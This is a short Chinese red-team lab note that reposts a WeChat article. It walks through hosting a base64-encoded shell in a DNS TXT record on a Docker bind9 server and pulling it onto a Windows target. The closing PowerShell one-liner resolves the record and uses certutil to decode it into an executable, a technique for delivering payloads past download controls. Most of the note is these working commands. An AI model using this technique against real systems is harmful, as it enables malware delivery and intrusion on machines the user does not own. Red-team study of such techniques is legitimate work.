2022-10-30
参考原文:
远程下载的通用替代方案 | 红队攻防
https://mp.weixin.qq.com/s/9MAKZZfNB5YFT7jgln5lXQ
实现过程
dns环境:kali + bind9(docker版),ip:192.168.161.128
靶机:win server 2016,ip:192.168.161.129
配置dns域名txt记录
kali安装docker环境
apt-get install docker docker-compose
docker拉取bind9镜像
docker pull sameersbn/bind:9.16.1-20200524
启动bind9容器实例
docker run --name bind -d --restart=always \
--publish 53:53/tcp --publish 53:53/udp --publish 10000:10000/tcp \
--volume /srv/docker/bind:/data \
sameersbn/bind:9.16.1-20200524
访问webmin,地址:https://192.168.161.128:10000
账号密码:root password
servers -> bind dns server -> Existing DNS Zones -> Create master zone
配置Address
配置TXT记录,message为shell的base64字符
重启一下docker容器实例
docker restart <CONTAINER ID>
# 或者
docker restart bind
靶机获取dns域名txt记录
powershell resolve-dnsname test.go -type TXT
提取base64字符结合certutil落地文件
powershell $a=(resolve-dnsname test.go -type TXT).Strings ^| Out-File 1.txt & certutil -decode 1.txt 2.exe & del 1.txt